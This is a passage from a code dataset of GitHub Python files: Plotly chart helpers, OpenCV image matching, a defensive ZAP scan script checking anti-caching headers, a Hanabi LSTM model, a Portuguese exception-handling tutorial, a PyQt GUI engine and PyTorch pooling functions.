bgcolor=\"white\",\n font_color=\"black\",\n font_size=16,\n font_family=\"Rockwell\"\n ))\n return fig\n\n\ndef bar_chart(data: pd.DataFrame, x: str, y: str, orient: str, title: str, text=None, pre_hover_text=None):\n fig = go.Figure()\n fig.add_trace(\n go.Bar(\n y=data[y],\n x=data[x].astype(int),\n orientation=orient,\n text=data[text].astype(int),\n marker_color=\"#094780\",\n hovertext=pre_hover_text + \" \" + (round(data[text], 2)).astype(str),\n )\n )\n fig.update_layout(title=title, height=600,\n hovermode=\"x unified\",\n hoverlabel=dict(\n bgcolor=\"white\",\n font_color=\"black\",\n font_size=16,\n font_family=\"Rockwell\"\n ), yaxis=dict(tickfont=dict(size=20))\n )\n return fig\n\n\ndef binned_bar_chart(data: pd.DataFrame, x: str, y: str, color: str, title):\n data = data[(data[x] <= 10) & (data[x] >= 1)]\n data[color] = data[color].str[:20]\n fig = px.bar(data_frame=data,\n x=x,\n y=y,\n color=color,\n title=title,\n color_discrete_sequence=[\"#f1ba0a\", \"#a70b0b\", \"#03045e\", \"#4cc9f0\",\n \"#495057\", \"#012a4a\", \"#ff0a54\", \"#aacc00\",\n \"#0096c7\", \"#2d6a4f\", \"#7209b7\"]\n )\n fig.update_layout(title=title, height=500)\n return fig\n\n\ndef binned_scatter_plot(data: pd.DataFrame, x: str, y: str, color: str, title: str):\n data[color] = data[color].str[:20]\n fig = px.scatter(data_frame=data, x=x,\n y=y,\n color=color,\n symbol_sequence=list([\"diamond\"] * len(data)),\n title=title,\n color_discrete_sequence=[\"#f1ba0a\", \"#a70b0b\", \"#03045e\", \"#4cc9f0\",\n \"#495057\", \"#012a4a\", \"#ff0a54\", \"#aacc00\",\n \"#0096c7\", \"#2d6a4f\", \"#7209b7\"]\n )\n fig.update_layout(title=title, height=500)\n fig.update_xaxes(categoryorder='array', categoryarray=['0-3 months', '3-6 months',\n '6-12 months', '12-18 months',\n '18+ months'])\n fig.update_traces(marker={'size': 15})\n return fig\n\n\ndef scatter_plot(data: pd.DataFrame, x: str, y: str, title: str, name, text=None):\n fig = go.Figure()\n fig.add_trace(\n go.Scatter(x=data[x],\n y=data[y],\n mode=\"lines+markers+text\",\n text=data[text],\n textposition=\"top center\",\n fill='tozeroy',\n fillcolor=\"#00b4d8\",\n line=dict(color='#094780', width=2),\n marker=dict(color='#094780', size=8),\n name=name,\n hovertext=str(name) + \" \" + data[text].astype(str)\n )\n )\n fig.update_layout(title=title, height=600, xaxis_title=\"Posted Date\", yaxis_title=\"Count\",\n hovermode=\"x unified\",\n hoverlabel=dict(\n bgcolor=\"white\",\n font_color=\"black\",\n font_size=16,\n font_family=\"Rockwell\"\n ))\n return fig\n\n\ndef pie_chart(data: pd.DataFrame, values: str, names: str, title: str, text_info: str):\n fig = px.pie(data, values=values, names=names,\n hole=0.3, title=title, height=500, color_discrete_sequence=power_bi_colors[::-1])\n fig.update_traces(textinfo=text_info,\n hoverlabel=dict(\n bgcolor=\"white\",\n font_color=\"black\",\n font_size=16,\n font_family=\"Rockwell\"\n )\n )\n return fig\n\n\ndef table_chart(data: pd.DataFrame, title: str):\n fig = go.Figure(data=[go.Table(\n columnwidth=[1, 1, 1],\n header=dict(\n values=list(data.columns),\n font=dict(size=18, color='white', family='ubuntu'),\n fill_color='#264653',\n align=['left', 'center'],\n height=80\n ),\n cells=dict(\n values=[data[K].tolist() for K in data.columns],\n font=dict(size=12, color=\"black\", family='ubuntu'),\n fill_color='#f0efeb',\n height=50\n ))]\n )\n fig.update_layout(margin=dict(l=0, r=10, b=10, t=30), height=500,\n title=title)\n return fig\n\n\ndef contracts_kpis(data: pd.DataFrame):\n contracts_count = data[\"generated_internal_id\"].nunique()\n total_offers = data['number_of_offers_received'].sum()\n filtered_records = data[\n (data['number_of_offers_received'] > 0)\n | (data['number_of_offers_received'].notna())\n ]\n num_unique_contracts = len(filtered_records['generated_internal_id'].unique())\n if num_unique_contracts == 0:\n average_offers_per_contract = 0\n else:\n average_offers_per_contract = total_offers / num_unique_contracts\n contracts_value = data[\"Award Amount\"].sum()\n\n return contracts_count, average_offers_per_contract, contracts_value\n\n\ndef format_currency_label(value):\n if value >= 1e9: # Billion\n return f'{value / 1e9:.2f} bn'\n elif value >= 1e6: # Million\n return f'{value / 1e6:.2f} M'\n elif value >= 1e3: # Thousand\n return f'{value / 1e3:.2f} K'\n else:\n return f'{value:.2f}'\n\n\ndef format_date_column(data):\n if len(data) != 0:\n for i in data.columns:\n if isinstance(data[i].iloc[0], datetime.datetime):\n data[i] = data[i].dt.strftime(\"%m-%d-%Y\")\n return data\n","repo_name":"noorulhudaajmal/FOAM-Dashboard","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":13364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"6303338712","text":"\nimport cv2\nimport numpy as np\nimport os\nimport embeddingFunc\n\n\n\n#Global Variables for image embeddings\nloaded_image_embeddings=embeddingFunc.image_embeddings\nloaded_image_paths =embeddingFunc.image_paths\n\n\n\ndef comparison_by_method(img_warped, folder_path, method, conn=None):\n if method == 'SIFT':\n return sift_comparison(img_warped, folder_path)\n elif method == 'BRISK':\n return brisk_comparison(img_warped, folder_path)\n elif method == 'ORB':\n return orb_comparison(img_warped, folder_path)\n elif method == 'AKAZE':\n return akaze_comparison(img_warped, folder_path)\n elif method == 'EMBEDDING':\n return comparison_by_embedding(img_warped)\n elif method == 'AKAZEDB':\n return akaze_comparison_db(img_warped, conn)\n else:\n raise ValueError(f\"Invalid method: {method}\")\n\ndef sift_comparison(img_query, folder_path):\n # Initialize SIFT\n sift = cv2.SIFT_create()\n\n # Find keypoints and descriptors for the query image\n kp_query, des_query = sift.detectAndCompute(img_query, None)\n\n # Initialize BFMatcher\n bf = cv2.BFMatcher(cv2.NORM_L2, crossCheck=True)\n\n best_match = None\n best_match_score = float('inf')\n\n for file in os.listdir(folder_path):\n if file.endswith(('.png', '.jpg', '.jpeg')):\n img_path = os.path.join(folder_path, file)\n img_train = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n\n # Find keypoints and descriptors for the train image\n kp_train, des_train = sift.detectAndCompute(img_train, None)\n\n # Match keypoints\n matches = bf.match(des_query, des_train)\n matches = list(matches)\n matches.sort(key=lambda x: x.distance)\n\n # Calculate the total distance of the top matches\n top_matches = matches[:min(10, len(matches))]\n match_score = sum([match.distance for match in top_matches])\n\n # Update the best match\n if match_score < best_match_score:\n best_match = file\n best_match_score = match_score\n\n return os.path.splitext(best_match)[0],None,None\n\n\ndef orb_comparison(img_warped, folder_path):\n # Initialize the ORB detector\n orb = cv2.ORB_create()\n \n # Compute the keypoints and descriptors of the query image\n kp1, des1 = orb.detectAndCompute(img_warped, None)\n \n # Initialize the BFMatcher\n bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)\n \n max_matches = 0\n matching_image = None\n \n for filename in os.listdir(folder_path):\n if filename.endswith('.jpg') or filename.endswith('.png'):\n img2 = cv2.imread(os.path.join(folder_path, filename), 0)\n kp2, des2 = orb.detectAndCompute(img2, None)\n \n matches = bf.match(des1, des2)\n \n # Convert the matches object to a list before sorting\n matches_list = list(matches)\n matches_list.sort(key=lambda x: x.distance)\n \n if len(matches_list) > max_matches:\n max_matches = len(matches_list)\n matching_image = filename\n \n return matching_image,None,None\n \n\n\n\n\n\ndef brisk_comparison(img_query, folder_path):\n # Initialize BRISK\n brisk = cv2.BRISK_create()\n\n # Find keypoints and descriptors for the query image\n kp_query, des_query = brisk.detectAndCompute(img_query, None)\n\n # Initialize BFMatcher\n bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)\n\n best_match = None\n best_match_score = float('inf')\n\n for file in os.listdir(folder_path):\n if file.endswith(('.png', '.jpg', '.jpeg')):\n img_path = os.path.join(folder_path, file)\n img_train = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n\n # Find keypoints and descriptors for the train image\n kp_train, des_train = brisk.detectAndCompute(img_train, None)\n\n # Match keypoints\n matches = bf.match(des_query, des_train)\n \n # Convert the matches object to a list before sorting\n matches_list = list(matches)\n matches_list.sort(key=lambda x: x.distance)\n\n # Calculate the total distance of the top matches\n top_matches = matches_list[:min(10, len(matches_list))]\n match_score = sum([match.distance for match in top_matches])\n\n # Update the best match\n if match_score < best_match_score:\n best_match = file\n best_match_score = match_score\n\n return os.path.splitext(best_match)[0],None,None\n\ndef akaze_comparison(img_query, folder_path):\n # Initialize AKAZE\n akaze = cv2.AKAZE_create(threshold=0.002)\n\n # Find keypoints and descriptors for the query image\n kp_query, des_query = akaze.detectAndCompute(img_query, None)\n\n # Initialize BFMatcher\n bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)\n\n best_match = None\n best_match_score = float('inf')\n\n for file in os.listdir(folder_path):\n if file.endswith(('.png', '.jpg', '.jpeg')):\n img_path = os.path.join(folder_path, file)\n img_train = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n\n # Find keypoints and descriptors for the train image\n kp_train, des_train = akaze.detectAndCompute(img_train, None)\n\n # Match keypoints\n matches = bf.match(des_query, des_train)\n \n # Convert the matches object to a list before sorting\n matches_list = list(matches)\n matches_list.sort(key=lambda x: x.distance)\n\n # Calculate the total distance of the top matches\n top_matches = matches_list[:min(10, len(matches_list))]\n match_score = sum([match.distance for match in top_matches])\n\n # Update the best match\n if match_score < best_match_score:\n best_match = file\n best_match_score = match_score\n\n return os.path.splitext(best_match)[0], kp_query, des_query\n\n\n\n \ndef comparison_by_embedding(img_warped):\n img_warped_preprocessed = embeddingFunc.preprocess_image(img_warped)\n img_warped_embedding = embeddingFunc.embedding_function(img_warped_preprocessed)\n \n min_distance = float(\"inf\")\n min_distance_index = -1\n \n for index, embedding in enumerate(loaded_image_embeddings):\n distance = np.linalg.norm(img_warped_embedding - embedding)\n if distance < min_distance:\n min_distance = distance\n min_distance_index = index\n matched_image_path = loaded_image_paths[min_distance_index]\n matched_image_filename = os.path.splitext(os.path.basename(matched_image_path))[0]\n return matched_image_filename, None, None\n\ndef akaze_comparison_db(img_query, conn):\n # Initialize AKAZE\n akaze = cv2.AKAZE_create(threshold=0.002)\n\n # Find keypoints and descriptors for the query image\n kp_query, des_query = akaze.detectAndCompute(img_query, None)\n\n # Initialize BFMatcher\n bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)\n\n best_match = None\n best_match_score = float('inf')\n\n # Fetch stored AKAZE features from the database\n cursor = conn.cursor()\n cursor.execute(\"SELECT id, akaze FROM cards\")\n rows = cursor.fetchall()\n\n for row in rows:\n image_id, akaze_features_str = row\n\n if akaze_features_str is not None:\n # Convert the string representation of AKAZE features back to a NumPy array\n akaze_features = np.fromstring(akaze_features_str, sep=',').astype(np.uint8).reshape(-1, 61)\n\n # Match keypoints\n matches = bf.match(des_query, akaze_features)\n\n # Convert the matches object to a list before sorting\n matches_list = list(matches)\n matches_list.sort(key=lambda x: x.distance)\n\n # Calculate the total distance of the top matches\n top_matches = matches_list[:min(10, len(matches_list))]\n match_score = sum([match.distance for match in top_matches])\n\n # Update the best match\n if match_score < best_match_score:\n best_match = image_id\n best_match_score = match_score\n\n return best_match, kp_query, des_query\n","repo_name":"CurorVult/CV-Mat-Sort","sub_path":"altComparison.py","file_name":"altComparison.py","file_ext":"py","file_size_in_byte":8281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"5027684285","text":"\"\"\"\n\nScript testing 8.2.1 control from OWASP ASVS 4.0:\n'Verify the application sets sufficient anti-caching headers so that sensitive\ndata is not cached in modern browsers.'\n\nThe script will raise an alert if 'Cache-Control' and 'Pragma' headers are not present. \n \n\"\"\"\n\ndef scan(ps, msg, src):\n\n #find \"Cache-Control\" and \"Pragma\" headers\n header_cache = str(msg.getResponseHeader().getHeader(\"Cache-Control\"))\n header_pragma = str(msg.getResponseHeader().getHeader(\"Pragma\"))\n\n #alert parameters\n alertRisk= 1\n alertConfidence = 2\n alertTitle = \"8.2.1 Verify the application sets sufficient anti-caching headers.\"\n alertDescription = \"Verify the application sets sufficient anti-caching headers so that sensitive data is not cached in modern browsers.\"\n url = msg.getRequestHeader().getURI().toString()\n alertParam = \"\"\n alertAttack = \"\"\n alertInfo = \"https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses\"\n alertSolution = \"Add anti caching headers to HTTP response (Cache-Control, Pragma).\"\n alertEvidence = \"\" \n cweID = 525\n wascID = 0\n \n #if 'Cache-Control' and 'Pragma' headers are not present\n if (header_cache == \"None\" and header_pragma == \"None\"):\n ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDescription, \n url, alertParam, alertAttack, alertInfo, alertSolution, alertEvidence, cweID, wascID, msg);\n","repo_name":"BlazingWind/OWASP-ASVS-4.0-testing-guide","sub_path":"ZAP-scripts/passive/8-2-1-anti-cache-header.py","file_name":"8-2-1-anti-cache-header.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"61"}
+{"seq_id":"26845069102","text":"# Developed by Lorenzo Mambretti, Justin Wang\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://github.com/jtwwang/hanabi/blob/master/LICENSE\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied\n\nfrom __future__ import print_function\nfrom .policy_pred import policy_pred\n\nfrom data_pipeline.util import one_hot_list, split_dataset\nfrom data_pipeline.experience import Experience\nfrom data_pipeline.balance_data import balance_data\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import LSTM, Dense, TimeDistributed\nfrom tensorflow.keras import optimizers\nfrom tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard\n\nimport math\nimport numpy as np\nimport os\n\n\nclass lstm_pred(policy_pred):\n def __init__(self, agent_class):\n self.model_type = \"lstm\"\n super(lstm_pred, self).__init__(agent_class, self.model_type)\n\n def create_model(self):\n x = Sequential()\n # x.add(TimeDistributed(Conv1D(filters=16, kernel_size=5, strides=2,\n #\tinput_shape=(self.input_dim,1), padding='same', activation=activation)))\n x.add(LSTM(64, input_shape=(None, self.input_dim), return_sequences=True))\n x.add(LSTM(64, return_sequences=True))\n x.add(LSTM(128, return_sequences=True))\n x.add(TimeDistributed(Dense(self.action_space)))\n self.model = x\n return x\n\n def reshape_data(self, X_raw):\n\n if X_raw.shape == (self.action_space,):\n X_raw = np.reshape(X_raw, (1, X_raw.shape[0]))\n\n X = np.reshape(X_raw, (1, X_raw.shape[0], X_raw.shape[1]))\n return X\n\n def seperate_games(self, obs, actions, eps):\n X, y = [], []\n for ep in eps:\n X.append(obs[range(ep[0], ep[1])])\n y.append(actions[range(ep[0], ep[1])])\n X = np.array(X)\n y = np.array(y)\n return (X, y)\n\n def extract_data(self, agent_class, val_split, games=-1, balance=False):\n \"\"\"\n args:\n agent_class (string)\n num_player (int)\n \"\"\"\n print(\"Loading Data...\", end='')\n replay = Experience(agent_class, load=True)\n moves, _, obs, eps = replay.load(games=games)\n\n if balance:\n # make class balanced\n X, y = balance_data(obs, moves, randomize = False)\n\n # Dimensions: (episodes, moves_per_game, action_space)\n X, y = self.seperate_games(obs, moves, eps)\n\n # split dataset here\n X_train, y_train, X_test, y_test = split_dataset(X, y, val_split)\n \n # convert to one-hot encoded tensor\n self.y_train = one_hot_list(y_train, replay.n_moves)\n self.y_test = one_hot_list(y_test, replay.n_moves)\n\n self.X_train = X_train\n self.X_test = X_test\n\n self.input_dim = obs.shape[1]\n self.action_space = replay.n_moves\n\n print(\"Experience Loaded!\")\n\n def separate_player_obs(self, X, y, players=2):\n \"\"\" Seperates observations into what each player sees\n Returns:\n X_sep_all (np arr): obs belonging to a single agent\n y_sep_all (np arr): labels belonging to a single agent\n \"\"\"\n X_sep_all = []\n y_sep_all = []\n for player in range(players):\n X_sep_all.append(np.asarray(X[player::players]))\n y_sep_all.append(np.asarray(y[player::players]))\n #print(\"X_sep: {}\".format(X_sep_all[player].shape))\n return X_sep_all, y_sep_all\n\n def generate_conv1d(self, X, y):\n i = 0\n while True:\n X_sep_all, y_sep_all = self.separate_player_obs(X[i], y[i])\n for X_sep, y_sep in zip(X_sep_all, y_sep_all):\n #print(\"X_sep: {}\".format(X_sep.shape))\n X_train = self.reshape_data(X_sep)\n y_train = self.reshape_data(y_sep)\n yield X_train, y_train\n i = (i + 1) % len(X)\n\n def generate(self, X, y):\n \"\"\"\n Generate trainable matrices per game_episode.\n Necessary since we need to train game by game (instead of move by move)...\n but games have varying length.\n \"\"\"\n i = 0\n while True:\n X_sep_all, y_sep_all = self.separate_player_obs(X[i], y[i])\n for X_sep, y_sep in zip(X_sep_all, y_sep_all):\n X_train = self.reshape_data(X_sep)\n y_train = self.reshape_data(y_sep)\n yield X_train, y_train\n i = (i + 1) % len(X)\n\n def fit(self, epochs=100, batch_size=1, learning_rate=0.001, val_split=None):\n\n adam = optimizers.Adam(\n lr=learning_rate,\n beta_1=0.9,\n beta_2=0.999,\n epsilon=None,\n decay=0.0,\n amsgrad=False)\n\n self.create_model()\n self.model.compile(loss='cosine_proximity',\n optimizer=adam, metrics=['accuracy'])\n\n # Create checkpoint directory\n if not os.path.exists(self.checkpoint_path):\n try:\n os.makedirs(self.checkpoint_path)\n except OSError:\n print(\"Creation of the directory %s failed\" %\n self.checkpoint_path)\n\n checkpoints = ModelCheckpoint(\n os.path.join(self.checkpoint_path, 'weights{epoch:08d}.h5'),\n save_weights_only=True, period=50)\n tensorboard = TensorBoard(log_dir=\"./logs\")\n\n self.model.fit_generator(\n self.generate(self.X_train, self.y_train),\n steps_per_epoch=self.X_train.shape[0]/batch_size,\n epochs=epochs,\n validation_data=self.generate(self.X_test, self.y_test),\n validation_steps=self.X_test.shape[0]/batch_size,\n callbacks=[checkpoints, tensorboard])\n\n # CURRENTLY UNUSED. TODO: REWRITE\n def perform_lstm_cross_validation(self, k, max_ep):\n global flags\n mean = 0\n\n X, Y, eps = self.extract_data(flags['agent_class'])\n max_ep = min(max_ep, math.floor(len(eps)/k))\n\n for i in range(k):\n # split the data\n train_id = range(eps[i * max_ep][0], eps[(i + 1)*max_ep - 1][1])\n test_id = range(0, eps[i * max_ep][0]) + \\\n range(eps[(i + 1)*max_ep][0], eps[-1][1])\n X_train, X_test = X[train_id], X[test_id]\n y_train, y_test = Y[train_id], Y[test_id]\n\n # initialize the predictor (again)\n pp = policy_net(X.shape[1], Y.shape[1], flags['agent_class'])\n\n pp.fit(X_train, y_train,\n epochs=flags['epochs'],\n batch_size=flags['batch_size'],\n learning_rate=flags['lr'])\n\n # calculate accuracy and add it to the mean\n score = pp.model.evaluate(X_test, y_test, verbose=0)\n mean += score[1]\n\n # calculate the mean\n mean = mean/k\n return mean\n","repo_name":"jtwwang/hanabi","sub_path":"predictors/lstm_pred.py","file_name":"lstm_pred.py","file_ext":"py","file_size_in_byte":7172,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"}
+{"seq_id":"15140776821","text":"#O try bloco permite que você teste um bloco de código em busca de erros.\n\n#O except bloco permite lidar com o erro.\n\n#O else bloco permite executar o código quando não há erro.\n\n#O finally bloco permite que você execute o código, \n# independentemente do resultado dos blocos try e except.\n\n#Manipulação de exceção\n#Quando ocorre um erro, ou exceção, como chamamos, o \n# Python normalmente para e gera uma mensagem de erro.\n\n#Essas exceções podem ser tratadas usando a tryinstrução:\n\n#O try bloco irá gerar uma exceção, pois xnão está definido:\ntry:\n print(x)\nexcept:\n print(\"An exception occurred\")#saida An exception occurred\n \n#Como o bloco try gera um erro, o bloco except será executado.\n\n#Sem o bloco try, o programa falhará e gerará um erro:\nprint(x)\n#saida Traceback (most recent call last):\n# File \"demo_try_except_error.py\", line 3, in \n# print(x)\n#NameError: name 'x' is not defined\n\n\n#----------------------------------------------------------------------------------------------\n#Muitas Exceções\n#Você pode definir quantos blocos de exceção quiser, por exemplo, \n# se quiser executar um bloco de código especial para um tipo especial de erro:\n\ntry:\n print(x)\nexcept NameError:\n print(\"Variable x is not defined\")\nexcept:\n print(\"Something else went wrong\")\n#saida Variable x is not defined\n\n#----------------------------------------------------------------------------------------------\n#Senão\n#Você pode usar a else palavra-chave para definir um bloco de código a\n# ser executado se nenhum erro for gerado:\ntry:\n print(\"Hello\")\nexcept:\n print(\"Something went wrong\")\nelse:\n print(\"Nothing went wrong\")\n#saida Hello\n#Nothing went wrong\n\n#----------------------------------------------------------------------------------------------\n#Finalmente\n#O finally bloco, se especificado, será executado independentemente se o \n# bloco try gerar um erro ou não.\ntry:\n print(x)\nexcept:\n print(\"Something went wrong\")\nfinally:\n print(\"The 'try except' is finished\")\n#saida Something went wrong\n#The 'try except' is finished\n\n#OBS:Isso pode ser útil para fechar objetos e limpar recursos:\ntry:\n f = open(\"demofile.txt\")\n try:\n f.write(\"Lorum Ipsum\")\n except:\n print(\"Something went wrong when writing to the file\")\n finally:\n f.close()\nexcept:\n print(\"Something went wrong when opening the file\") \n #saida Something went wrong when writing to the file\n#----------------------------------------------------------------------------------------------\n#Levantar uma exceção\n#Como desenvolvedor Python, você pode optar por lançar uma exceção se ocorrer uma condição.\n\n#Para lançar (ou gerar) uma exceção, use a palavra- raise chave.\n\nx = -1\n\nif x < 0:\n raise Exception(\"Sorry, no numbers below zero\")\n#saida Traceback (most recent call last):\n# File \"demo_ref_keyword_raise.py\", line 4, in \n# raise Exception(\"Sorry, no numbers below zero\")\n#Exception: Sorry, no numbers below zero\n\n#A raise palavra-chave é usada para gerar uma exceção.\n#Você pode definir que tipo de erro gerar e o texto a ser impresso para o usuário.\nx = \"hello\"\n\nif not type(x) is int:\n raise TypeError(\"Only integers are allowed\")\n#saida Traceback (most recent call last):\n# File \"demo_ref_keyword_raise2.py\", line 4, in \n# raise TypeError(\"Only integers are allowed\")\n#TypeError: Only integers are allowed\n#----------------------------------------------------------------------------------------------\n","repo_name":"IMNascimento/SENAI","sub_path":"python/TryExcept/tryExcept.py","file_name":"tryExcept.py","file_ext":"py","file_size_in_byte":3491,"program_lang":"python","lang":"pt","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"}
+{"seq_id":"24362739789","text":"import os\nimport sys\nfrom datetime import datetime, timedelta\nfrom threading import RLock\nfrom typing import List, Dict, Tuple, Callable, Any\n\nimport qtmodern.styles\nfrom PyQt5.QtCore import pyqtSignal, QObject\nfrom PyQt5.QtGui import QIcon, QFont\nfrom PyQt5.QtWidgets import QApplication, QWidget, QMainWindow\n\nfrom .dependency_injection import DependencyInjectionApp\nfrom .extra_ui import existing_single_file_dialog, existing_multiple_files_dialog, new_file_dialog, directory_dialog\nfrom .gui_builder import build_widget\nfrom .gui_refresher import refresh_widget\nfrom .user_dialog import yes_no_dialog, info_dialog, warning_dialog, error_dialog\nfrom ..components import *\nfrom ..components.dependency_injection import GuiManage, GuiDialog, DependencyInjection\nfrom ..components.layout import Row\nfrom ..components.singleton import Singleton\n\n\nclass WidgetContainer(QMainWindow):\n widget: QWidget\n\n def __init__(self, init_widget: QWidget, icon_path: str, title: str, *args, **kwargs) -> None:\n super().__init__(*args, **kwargs)\n self.widget = init_widget\n self.setCentralWidget(self.widget)\n self.setWindowIcon(QIcon(icon_path))\n self.setWindowTitle(title)\n\n def replace_widget(self, new_widget: QWidget) -> None:\n self.widget = new_widget\n self.setCentralWidget(self.widget)\n\n\nclass App(metaclass=Singleton):\n _application: QApplication\n _dwidgets: Dict[int, QWidget]\n _refresh_lock: RLock\n _last_refresh: datetime\n\n class _QObject(QObject):\n _refresh_signal = pyqtSignal()\n _weak_refresh_signal = pyqtSignal()\n\n _qobject_signals: _QObject\n\n widget_sketch: Sketch\n widget_container: WidgetContainer\n current_model: Any\n current_view: Tuple[Callable[[Any], List[List[Sketch]]]]\n\n def __init__(self, model: Any, view: Callable[[Any], Any], icon_path: str, title: str) -> None:\n self._qobject_signals = self._QObject()\n self._last_refresh = datetime.now()\n self._refresh_lock = RLock()\n self._application = QApplication([])\n if os.name == 'nt':\n self._application.setFont(QFont('Arial'))\n self.current_model = model\n self.current_view = (view,)\n self.widget_sketch = sketch_decorator(self.current_view[0](self.current_model))\n\n widget, self._dwidgets = build_widget(self.widget_sketch)\n self.widget_container = WidgetContainer(widget, icon_path, title)\n\n # hack\n # self.widget_container.widget: ScrollableArea\n # self.widget_container.widget.widget(): MyQWidget\n self.widget_container.widget.widget().resized.connect(self.update_window_min_size)\n\n DependencyInjectionApp().refresh_gui = (self.refresh_gui,)\n DependencyInjectionApp().weak_refresh_gui = (self.weak_refresh,)\n DependencyInjectionApp().update_gui = (self.update_gui,)\n DependencyInjectionApp().get_dwidgets = ((lambda: self._dwidgets),)\n\n self._qobject_signals._refresh_signal.connect(DependencyInjectionApp().refresh_gui[0])\n self._qobject_signals._weak_refresh_signal.connect(DependencyInjectionApp().weak_refresh_gui[0])\n\n GuiManage()._refresh_view = ((lambda: self._qobject_signals._weak_refresh_signal.emit()),)\n GuiManage()._force_refresh_view = ((lambda: self._qobject_signals._refresh_signal.emit()),)\n\n GuiDialog()._yes_no_dialog = ((lambda q: yes_no_dialog(self.widget_container, q)),)\n GuiDialog()._info_dialog = ((lambda q: info_dialog(self.widget_container, q)),)\n GuiDialog()._warning_dialog = ((lambda q: warning_dialog(self.widget_container, q)),)\n GuiDialog()._error_dialog = ((lambda q: error_dialog(self.widget_container, q)),)\n\n DependencyInjection().open_file_action = (\n (lambda x: existing_single_file_dialog(self.widget_container, x)),)\n DependencyInjection().open_multiple_files_action = (\n (lambda x: existing_multiple_files_dialog(self.widget_container, x)),)\n DependencyInjection().save_file_action = (\n (lambda x: new_file_dialog(self.widget_container, x)),)\n DependencyInjection().open_directory_action = (\n (lambda x: directory_dialog(self.widget_container, x)),)\n\n def update_window_min_size(self):\n # hack\n # self.widget_container.widget: ScrollableArea\n # self.widget_container.widget.widget(): MyQWidget\n self.widget_container.setMinimumWidth(self.widget_container.widget.widget().minimumSizeHint().width())\n\n def forever_loop(self, dark=False) -> None:\n if dark:\n qtmodern.styles.dark(self._application)\n else:\n qtmodern.styles.light(self._application)\n\n self.widget_container.show()\n sys.exit(self._application.exec())\n\n def weak_refresh(self, rate: int = 6):\n dt = timedelta(seconds=1) / rate\n if datetime.now() - self._last_refresh > dt:\n if self._refresh_lock.acquire(timeout=dt.total_seconds()):\n self.refresh_gui()\n self._refresh_lock.release()\n\n def refresh_gui(self):\n self._refresh_lock.acquire()\n self._last_refresh = datetime.now()\n self.widget_container.widget.hide()\n\n resketch = sketch_decorator(self.current_view[0](self.current_model))\n refresh_widget(self.widget_sketch, resketch)\n self.widget_sketch = resketch\n\n self.widget_container.widget.show()\n self._refresh_lock.release()\n\n def update_gui(self, next_model: Any, next_view: Callable[[Any], List[List[Sketch]]]) -> None:\n self._refresh_lock.acquire()\n # self.widget_container.widget.hide()\n\n self.current_model = next_model\n self.current_view = (next_view,)\n\n self.refresh_gui()\n\n # self.widget_sketch = sketch_decorator(self.current_view[0](self.current_model))\n # widget, self.dwidgets = build_widget(self.widget_sketch)\n # self.widget_container.replace_widget(widget)\n\n # self.widget_container.widget.show()\n self._refresh_lock.release()\n\n\ndef sketch_decorator(rows_list: List[List[Sketch]]) -> Sketch:\n return ScrollArea('main', 50, [Group('group', Row(), row) for row in rows_list], _fixed_size=False)\n","repo_name":"sr9000/gui-py-app-framework","sub_path":"sguif/engine/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":6227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"9013185466","text":"import torch\n\n\ndef pool_cls(embeddings: torch.Tensor, attention_mask: torch.Tensor) -> torch.Tensor:\n \"\"\"Performs CLS pooling (summarization via CLS token) for a given batch of embeddings.\n\n Args:\n embeddings (torch.Tensor): A batch of token embeddings.\n attention_mask (torch.Tensor): The embeddings' corresponding attention mask.\n\n Returns:\n torch.Tensor: A batch of pooled embeddings.\n \"\"\"\n # Extract the [CLS] embedding\n return embeddings[:, 0, :]\n\n\ndef pool_mean(embeddings: torch.Tensor, attention_mask: torch.Tensor) -> torch.Tensor:\n \"\"\"Performs mean pooling (summarization via token-wise mean) for a given embedding.\n\n Args:\n embeddings (torch.Tensor): A batch of token embeddings.\n attention_mask (torch.Tensor): The embeddings' corresponding attention mask.\n\n Returns:\n torch.Tensor: A batch of pooled embeddings.\n \"\"\"\n # Mean pool across dimension 1\n input_mask_expanded = attention_mask.unsqueeze(-1).expand(embeddings.size()).float()\n pooled = torch.sum(embeddings * input_mask_expanded, 1) / torch.clamp(input_mask_expanded.sum(1), min=1e-9)\n return pooled\n\n\n# Key-indexed pooling function\npooling_fns = {\n \"mean\": pool_mean,\n \"cls\": pool_cls\n}\n","repo_name":"cjc77/nlp-projects","sub_path":"myutilpy/myutilpy/models/pooling.py","file_name":"pooling.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
